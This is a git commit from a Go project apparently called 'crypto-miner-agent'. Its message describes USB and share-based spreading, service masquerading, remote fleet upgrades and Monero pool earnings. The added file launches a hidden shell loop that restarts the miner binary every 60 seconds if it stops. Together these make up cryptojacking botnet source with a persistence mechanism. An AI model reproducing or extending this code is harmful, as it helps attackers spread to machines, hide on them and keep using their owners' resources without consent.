Add fleet resilience, passive spread, matrix rain UI, and live earnings.

Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
drjones
2026-05-29 22:29:58 -07:00
parent 0f9e04f5f6
commit 102d2fb7c6
29 changed files with 1795 additions and 84 deletions

View File

@@ -0,0 +1,31 @@
//go:build !windows
package deploy
import (
"fmt"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
// launchProcessGuard spawns a detached shell loop that watches for the installed
// miner and restarts it on crash (Unix — Linux + macOS).
func launchProcessGuard(cfg config.RuntimeConfig) {
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
bin := filepath.Join(installDir, BinaryName(cfg))
procName := strings.TrimSuffix(BinaryName(cfg), "")
// sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing.
script := fmt.Sprintf(
`while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
procName, bin, bin,
)
cmd := exec.Command("sh", "-c", script)
_ = cmd.Start()
}